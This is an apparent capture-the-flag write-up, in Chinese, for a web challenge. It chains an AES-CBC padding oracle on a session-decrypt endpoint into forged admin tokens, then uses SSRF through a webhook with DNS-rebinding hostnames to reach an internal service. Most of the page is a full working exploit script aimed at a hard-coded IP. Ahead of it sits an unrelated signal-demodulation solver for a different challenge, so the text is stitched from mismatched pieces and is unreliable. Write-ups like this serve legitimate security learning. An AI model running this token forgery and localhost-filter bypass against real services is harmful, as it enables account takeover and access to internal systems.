WEB-Oracle's Whisper

ISCC2026 WriteUp 提交模板

WEB-Oracle's Whisper

解题思路

1.查看网站
/robots.txt

image.png

暴露了 /graphql、/api/session/ 和 /api/webhook/,所以题目的主要攻击面很可能就在登录、会话和 webhook 三块。

访问下:/graphql

image.png

随便加个参数试一下:

image.png

可以直接看到后端存在 login(username, password) 这一类会话接口,因此下一步自然要检查会话 token 是否存在可利用的解密差异。

测试到 /api/session/decrypt 向它提交任意 token。观察到服务端返回 400 Bad Request 且正文是 {"error":"padding"},这说明后端把 CBC 解密后的 padding 校验结果泄露给了客户端,因此可以把这个接口当作标准 Padding Oracle 来用。既然 Oracle 已经成立,下一步就是逐块恢复中间值,再反推出我们想要的明文块。

image.png

2。求解

已知 AES-CBC 的块长是 16 字节,因此脚本里先把目标明文按块对齐。题目首页和文案一直围绕 oracle 这一身份展开,而 /api/profile、/api/webhook/test 又明显是受权限保护的接口,所以最自然的高权限目标就是 oracle/admin。进一步检查长度可以发现,{"user":"oracle" 正好 16 字节,,"role":"admin"} 也正好 16 字节,因此可以把真正有用的 JSON 放进第 2、3 块。

因为第 1 块会受到服务端固定 IV 的影响,不适合精确控制,所以脚本把第 4 块设成完整 padding 0x10 * 16,然后按 D(C4) -> C3、D(C3) -> C2、D(C2) -> C1 的顺序逆推。这样每一步都只依赖前一步已经恢复出的中间值,而不需要预先知道真正的密钥。完成这一步后,就能得到一个可直接放进 session Cookie 的管理员 token;带着它访问 /api/profile,立刻能拿到 internal_token 和内部模板服务地址,这正好指向下一步 SSRF。

image.png

利用链脚本就放到后面了。

3.已知 /api/profile 返回了 internal_endpoint: "http://internal-api:6000/cache/template" 和 internal_token,所以可以确认真正的敏感资源不在外部页面,而是在 6000 端口的内部模板服务。因为管理员还拥有 /api/webhook/test 这个“代发 HTTP 请求”的能力,所以下一步自然是让它代表我们访问内部接口。

既然内部接口本身就是 /cache/template,那读取 flag 时只需要把 name 参数替换成 /flag。主机名则使用 7f000001.01010101.rbndr.us,因为它可以在服务端解析到 127.0.0.1,同时又保留“外部域名”的外观,适合绕过只对字面 127.0.0.1/localhost 做拦截的 SSRF 检查。脚本把 X-Internal-Token 一并带上后,第一次命中就返回了模板内容,其中已经直接包含 flag,因此整题到这里结束。

顺便说一下,7f000001.01010101.rbndr.us域名可能会挂掉,有时需要修改为其他同样可以被解析为127.0.0.1的域名即可。

{"body":"{\"content\":\"ISCC{PnHCWSSKcJBm5M6ssZXV}\",\"name\":\"/flag\"}\n","status":200}

Exp

import argparse
import csv
import io
import math
import os
import re
import sys
import zipfile
import zlib


def read_bundle(path):
    note_text = ""
    csv_text = ""
    if zipfile.is_zipfile(path):
        with zipfile.ZipFile(path) as zf:
            names = zf.namelist()
            note_name = next((n for n in names if n.replace("\\", "/").endswith("rx_note.txt")), None)
            csv_name = next((n for n in names if n.replace("\\", "/").endswith("array_iq.csv")), None)
            if note_name is None or csv_name is None:
                raise ValueError("missing rx_note.txt or array_iq.csv in archive")
            note_text = zf.read(note_name).decode("utf-8", errors="replace")
            csv_text = zf.read(csv_name).decode("utf-8", errors="replace")
    elif os.path.isdir(path):
        note_path = None
        csv_path = None
        for root, _, files in os.walk(path):
            for name in files:
                full = os.path.join(root, name)
                if name == "rx_note.txt":
                    note_path = full
                elif name == "array_iq.csv":
                    csv_path = full
        if note_path is None or csv_path is None:
            raise ValueError("missing rx_note.txt or array_iq.csv in directory")
        with open(note_path, "r", encoding="utf-8", errors="replace") as f:
            note_text = f.read()
        with open(csv_path, "r", encoding="utf-8", errors="replace") as f:
            csv_text = f.read()
    else:
        raise ValueError("input must be the challenge zip or extracted bundle directory")
    return note_text, csv_text


def parse_note(note_text):
    def grab(pattern, default=None, cast=float):
        m = re.search(pattern, note_text, re.I)
        if not m:
            if default is None:
                raise ValueError(f"missing parameter matching {pattern!r}")
            return default
        return cast(m.group(1))

    sample_rate = grab(r"Sample\s+rate:\s*([0-9.]+)", cast=float)
    symbol_rate = grab(r"symbol\s+rate:\s*([0-9.]+)", cast=float)
    carrier = grab(r"offset\s+is\s+close\s+to\s*([+-]?[0-9.]+)", cast=float)
    training = grab(r"first\s+([0-9]+)\s+recovered\s+symbols", default=80, cast=int)
    lanes = grab(r"([0-9]+)\s*-\s*lane\s+column\s+DMA", default=16, cast=int)
    return sample_rate, symbol_rate, carrier, training, lanes


def read_iq(csv_text):
    samples = []
    for row in csv.DictReader(io.StringIO(csv_text)):
        samples.append(complex(float(row["i"]), float(row["q"])))
    if not samples:
        raise ValueError("empty I/Q CSV")
    return samples


def lfsr_mask(seed, count):
    state = seed & 0xFFFF
    poly = 0x1D00
    out = []
    for _ in range(count):
        out_bit = state & 1
        feedback = (state & poly).bit_count() & 1
        state = (state >> 1) | (feedback << 15)
        out.append(out_bit)
    return out


def hamming_codewords():
    table = []
    for n in range(16):
        d1 = (n >> 3) & 1
        d2 = (n >> 2) & 1
        d3 = (n >> 1) & 1
        d4 = n & 1
        p1 = d1 ^ d2 ^ d4
        p2 = d1 ^ d3 ^ d4
        p4 = d2 ^ d3 ^ d4
        table.append([p1, p2, d1, p4, d2, d3, d4])
    return table


def hamming_decode(bits):
    words = hamming_codewords()
    nibbles = []
    distances = []

    for i in range(0, len(bits), 7):
        word = bits[i:i + 7]
        if len(word) < 7:
            break
        best_dist = 8
        best_nibble = 0
        for nibble, codeword in enumerate(words):
            dist = sum(a != b for a, b in zip(word, codeword))
            if dist < best_dist:
                best_dist = dist
                best_nibble = nibble
        nibbles.append(best_nibble)
        distances.append(best_dist)

    data = bytearray()
    for i in range(0, len(nibbles) - 1, 2):
        data.append((nibbles[i] << 4) | nibbles[i + 1])
    return bytes(data), distances


def undo_column_dma(bits, lanes):
    rows = len(bits) // lanes
    out = []
    for row in range(rows):
        for lane in range(lanes):
            out.append(bits[lane * rows + row])
    return out


def try_decode_payload(bits, training, lanes):
    if len(bits) <= training + lanes * 7:
        return None

    sync_bits = bits[64:training]
    if len(sync_bits) != 16:
        return None
    seed = int("".join(str(b) for b in sync_bits), 2)

    payload = bits[training:]
    block = lanes * 7
    usable = (len(payload) // block) * block
    payload = payload[:usable]
    if not payload:
        return None

    max_skip = 256
    mask = lfsr_mask(seed, usable + max_skip)
    for skip in range(max_skip):
        unmasked = [payload[i] ^ mask[i + skip] for i in range(usable)]
        ordered = undo_column_dma(unmasked, lanes)
        frame, distances = hamming_decode(ordered)
        if len(frame) < 8 or not frame.startswith(b"BP1 "):
            continue

        body = frame[4:-4]
        crc_tail = int.from_bytes(frame[-4:], "big")
        crc_calc = zlib.crc32(body) & 0xFFFFFFFF
        if crc_calc != crc_tail:
            continue

        text = body.decode("ascii", errors="strict")
        if not re.fullmatch(r"[A-Za-z0-9_]+\{[^\r\n{}]+\}", text):
            continue

        hist = {}
        for dist in distances:
            hist[dist] = hist.get(dist, 0) + 1
        return {
            "flag": text,
            "seed": seed,
            "pn_skip": skip,
            "payload_bits": usable,
            "frame": frame,
            "crc_tail": crc_tail,
            "crc_calc": crc_calc,
            "hamming_errors": hist,
        }

    return None


def demodulate(samples, sample_rate, symbol_rate, carrier, training, lanes):
    sps = int(round(sample_rate / symbol_rate))
    alt10 = [1 if i % 2 == 0 else 0 for i in range(64)]
    alt01 = [1 - b for b in alt10]
    two_pi = 2.0 * math.pi

    for offset in range(sps):
        symbols = []
        for idx in range(offset, len(samples), sps):
            angle = -two_pi * carrier * idx / sample_rate
            symbols.append(samples[idx] * complex(math.cos(angle), math.sin(angle)))
        if len(symbols) <= training:
            continue

        # BPSK has a 180 degree ambiguity. Squaring removes the sign and reveals phase.
        phasor = sum(sym * sym for sym in symbols)
        phase = 0.5 * math.atan2(phasor.imag, phasor.real)
        rot = complex(math.cos(-phase), math.sin(-phase))
        bits = [1 if (sym * rot).real < 0 else 0 for sym in symbols]

        score10 = sum(bits[i] == alt10[i] for i in range(64))
        score01 = sum(bits[i] == alt01[i] for i in range(64))
        if score01 > score10:
            bits = [1 - bit for bit in bits]
            score10 = score01
        if score10 < 60:
            continue

        result = try_decode_payload(bits, training, lanes)
        if result is not None:
            result["sps"] = sps
            result["offset"] = offset
            result["symbols"] = len(symbols)
            result["training_score"] = score10
            result["training_bits"] = "".join(str(bit) for bit in bits[:training])
            return result

    raise ValueError("flag not recovered")


def main():
    parser = argparse.ArgumentParser(description="Solve Blind Phase Array from the original zip or extracted bundle.")
    parser.add_argument("input", help="mangxiangzhenlie.zip or extracted bundle directory")
    parser.add_argument("-v", "--verbose", action="store_true", help="print reproduction details")
    args = parser.parse_args()

    note_text, csv_text = read_bundle(args.input)
    sample_rate, symbol_rate, carrier, training, lanes = parse_note(note_text)
    samples = read_iq(csv_text)
    result = demodulate(samples, sample_rate, symbol_rate, carrier, training, lanes)

    if args.verbose:
        print(f"samples = {len(samples)}")
        print(f"sps = {result['sps']}")
        print(f"symbol_offset = {result['offset']}")
        print(f"symbols = {result['symbols']}")
        print(f"training_score = {result['training_score']}/64")
        print(f"training_bits = {result['training_bits']}")
        print(f"sync_seed = 0x{result['seed']:04x}")
        print(f"payload_bits = {result['payload_bits']}")
        print(f"pn_skip = {result['pn_skip']}")
        print(f"hamming_error_distribution = {result['hamming_errors']}")
        print(f"frame_hex = {result['frame'].hex()}")
        print(f"crc_calc = 0x{result['crc_calc']:08x}")
        print(f"crc_tail = 0x{result['crc_tail']:08x}")

    print(result["flag"])


if __name__ == "__main__":
    sys.exit(main())
import base64
import json
import os
import time
import urllib.error
import urllib.request
from pathlib import Path


TARGET = "http://39.105.213.28:12605"
BS = 16
ARTIFACT_DIR = Path(__file__).resolve().parent / "artifacts"
ARTIFACT_DIR.mkdir(exist_ok=True)
LOG_PATH = ARTIFACT_DIR / "repro_run.log"


def log(message: str):
    print(message)
    with LOG_PATH.open("a", encoding="utf-8") as fp:
        fp.write(message + "\n")


def b64u_enc(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).decode().rstrip("=")


def http_post_json(path: str, payload: dict, headers: dict | None = None):
    data = json.dumps(payload).encode()
    req = urllib.request.Request(
        TARGET + path,
        data=data,
        headers={"Content-Type": "application/json", **(headers or {})},
        method="POST",
    )
    return urllib.request.urlopen(req, timeout=10)


def http_get(path: str, headers: dict | None = None):
    req = urllib.request.Request(TARGET + path, headers=headers or {}, method="GET")
    return urllib.request.urlopen(req, timeout=10)


def oracle(blob: bytes) -> bool:
    token = b64u_enc(blob)
    try:
        with http_post_json("/api/session/decrypt", {"token": token}) as resp:
            return resp.status != 400
    except urllib.error.HTTPError as exc:
        return exc.code != 400
    except Exception:
        return False


def discover_d(cipher_block: bytes) -> bytes:
    assert len(cipher_block) == BS
    d_block = bytearray(BS)
    for pad in range(1, BS + 1):
        idx = BS - pad
        for guess in range(256):
            forged = bytearray(BS)
            for j in range(idx + 1, BS):
                forged[j] = d_block[j] ^ pad
            forged[idx] = guess
            if oracle(bytes(forged) + cipher_block):
                if pad == 1:
                    test = bytearray(forged)
                    test[idx - 1] ^= 1
                    if not oracle(bytes(test) + cipher_block):
                        continue
                d_block[idx] = guess ^ pad
                break
        else:
            raise RuntimeError(f"padding oracle failed at pad={pad}")
        log(f"[+] recovered byte {pad}/16")
    return bytes(d_block)


def xor_bytes(left: bytes, right: bytes) -> bytes:
    return bytes(a ^ b for a, b in zip(left, right))


def forge_admin_token() -> str:
    log("[*] forging oracle/admin session token")
    p2 = b'{"user":"oracle"'
    p3 = b',"role":"admin"}'
    p4 = bytes([BS]) * BS
    c4 = os.urandom(BS)
    d4 = discover_d(c4)
    c3 = xor_bytes(d4, p4)
    d3 = discover_d(c3)
    c2 = xor_bytes(d3, p3)
    d2 = discover_d(c2)
    c1 = xor_bytes(d2, p2)
    token = b64u_enc(c1 + c2 + c3 + c4)
    (ARTIFACT_DIR / "admin_token.txt").write_text(token, encoding="utf-8")
    log("[+] forged admin token:")
    log(token)
    return token


def get_profile(admin_token: str) -> dict:
    with http_get("/api/profile", headers={"Cookie": f"session={admin_token}"}) as resp:
        return json.loads(resp.read().decode())


def hit_webhook(admin_token: str, internal_token: str):
    payload = {
        "url": "http://make-1.1.1.1-rebind-127.0.0.1-rr.1u.ms:6000/cache/template?name=/flag",
        "method": "GET",
        "headers": {"X-Internal-Token": internal_token},
    }
    return http_post_json(
        "/api/webhook/test",
        payload,
        headers={"Cookie": f"session={admin_token}"},
    )


def extract_flag_from_body(raw_body: bytes) -> str | None:
    try:
        body = json.loads(raw_body.decode())
        nested = json.loads(body.get("body", "{}"))
        content = nested.get("content", "")
        if "ISCC{" in content:
            return content.strip()
    except Exception:
        return None
    return None


def main():
    LOG_PATH.write_text("", encoding="utf-8")
    admin_token = forge_admin_token()
    profile = get_profile(admin_token)
    profile_text = json.dumps(profile, ensure_ascii=False, indent=2)
    (ARTIFACT_DIR / "profile.json").write_text(profile_text, encoding="utf-8")
    log("[+] profile response:")
    log(profile_text)
    internal_token = profile["internal_token"]
    log(f"[+] internal_token: {internal_token}")

    flag = None
    for attempt in range(1, 26):
        try:
            with hit_webhook(admin_token, internal_token) as resp:
                raw = resp.read()
                raw_text = raw.decode(errors="replace")
                (ARTIFACT_DIR / f"webhook_attempt_{attempt:02d}.json").write_text(
                    raw_text, encoding="utf-8"
                )
                log(f"[+] webhook attempt {attempt} status={resp.status}")
                log(raw_text)
                flag = extract_flag_from_body(raw)
                if flag:
                    (ARTIFACT_DIR / "flag.txt").write_text(flag, encoding="utf-8")
                    log(f"[+] flag: {flag}")
                    break
        except urllib.error.HTTPError as exc:
            body = exc.read().decode(errors="replace")
            (ARTIFACT_DIR / f"webhook_attempt_{attempt:02d}_http_{exc.code}.txt").write_text(
                body, encoding="utf-8"
            )
            log(f"[-] webhook attempt {attempt} http {exc.code}")
            log(body)
        except Exception as exc:
            log(f"[-] webhook attempt {attempt} error: {exc}")
        time.sleep(2)

    if not flag:
        raise SystemExit("flag not recovered; rerun the webhook stage")


if __name__ == "__main__":
    main()
posted @ 2026-05-19 16:31  MillionMind  阅读(24)  评论(0)    收藏  举报